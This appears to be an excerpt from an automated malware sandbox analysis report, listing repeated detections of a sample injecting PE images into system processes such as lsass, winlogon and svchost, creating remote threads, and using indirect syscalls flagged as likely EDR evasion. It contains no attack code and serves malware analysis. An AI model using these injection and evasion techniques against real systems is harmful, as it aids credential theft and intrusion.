Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: DC23A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2D423A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8823A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F623A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 26A23A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D523A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D023A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2DA23A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2EA23A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2E923A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2EF23A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D623A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2B223A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2DB23A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: E123A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D723A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2B723A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: E523A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 15923A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8E23A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D423A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: EC23A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: CF23A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6223A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 29923A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 29F23A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D723A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2F223A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2D423A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2DC23A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6723A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D523A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 14723A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 15C23A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 11C23A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D423A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D123A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 29723A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 26A23A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 10E23A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A923A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 23823A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2BC23A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: B923A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9323A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 11D23A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 23A23A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 11523A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D323A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 11323A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: B223A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D523A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2A623A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2A223A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D623A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: FB23A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6023A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C823A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 14623A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: DC23A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 11A23A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: E723A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 7B23A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2C623A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 12923A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9F23A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 22323A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2A923A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 11723A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 28823A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: B023A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 1B7C2C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 3E9B2C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 4A962C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 83282C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: AE002C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: AE2E2C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9D522C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: CBB02C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: CBB32C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 5FFD2C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: DCC62C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: DCD82C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C3322C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 14ED2C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F6452C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 973D2C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A4CC2C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F5512C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 39652C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8E0E2C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 5D2C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 902C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 1B2C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 402C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 16DF2C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 16E22C8C	Jump to behavior

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\ProgramData\KrnlSetupSus.exe	NtQuerySystemInformation: Indirect: 0x1C562245	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	NtResumeThread: Indirect: 0x1C5624DE	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	NtQuerySystemInformation: Indirect: 0x1C5633EB	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	NtEnumerateValueKey: Indirect: 0x1C562BB2	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	NtEnumerateKey: Indirect: 0x1C562AE6	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	NtEnumerateValueKey: Indirect: 0x1C562BE1	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	NtEnumerateKey: Indirect: 0x1C562B19	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	NtQueryDirectoryFile: Indirect: 0x1C56257B	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	NtDeviceIoControlFile: Indirect: 0x1C562E41	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 2E991720000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 213BDCB0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 158709A0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 26DB1550000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A3EFFC0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2C9AFB80000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2C06F7B0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2917C380000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 22382770000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 28A1B1D0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1486AD40000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 24BD3CA0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FA73D30000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CD021B0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 269B9FD0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 22054D80000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 27C57DA0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A333B40000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F174530000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23315740000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A9C8540000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1EC212A0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1876D540000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 22CD8950000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 15104330000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 22308E70000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1AB19360000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E731800000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A6DD9B0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E2FA1C0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\spoolsv.exe base: D50000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 209D2560000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FC05190000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AFD1A00000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D6B1010000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2036E580000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 150FC6C0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2480FAC0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2671A930000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2C588F90000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A8857C0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 174DEDC0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 282A2110000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1DA09D90000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 287FBEC0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\sihost.exe base: 2537C620000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 29B59750000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 20CAB570000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BBF95A0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D49EEE0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 26E2B2E0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B0CC6E0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\explorer.exe base: 7F80000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23014DD0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 21744F70000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F02ED50000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dasHost.exe base: 1B2E6AF0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 25A84C20000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 194A0710000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AD4DDB0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dllhost.exe base: 1C0F4C90000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1F3A50F0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 2164ACF0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 19985DA0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 26D10B60000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 23F7CDE0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 2EE94180000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 23954370000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 2256CFB0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe base: 2C00000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 1E4E5CC0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 282093A0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C891080000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1DF983B0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1924DB90000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: F00000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2C00000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 8C0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2A90000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2FB0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: CB0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: DC0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2D40000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 880000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: F60000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 26A0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: D50000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: D00000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2DA0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2EA0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2E90000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2EF0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: D60000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2B20000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2DB0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: E10000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: D70000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2B70000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: E50000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 1590000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 8E0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: D40000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: EC0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: CF0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 620000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2990000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 29F0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: D70000 value starts with: 4D5A	Jump to behavior
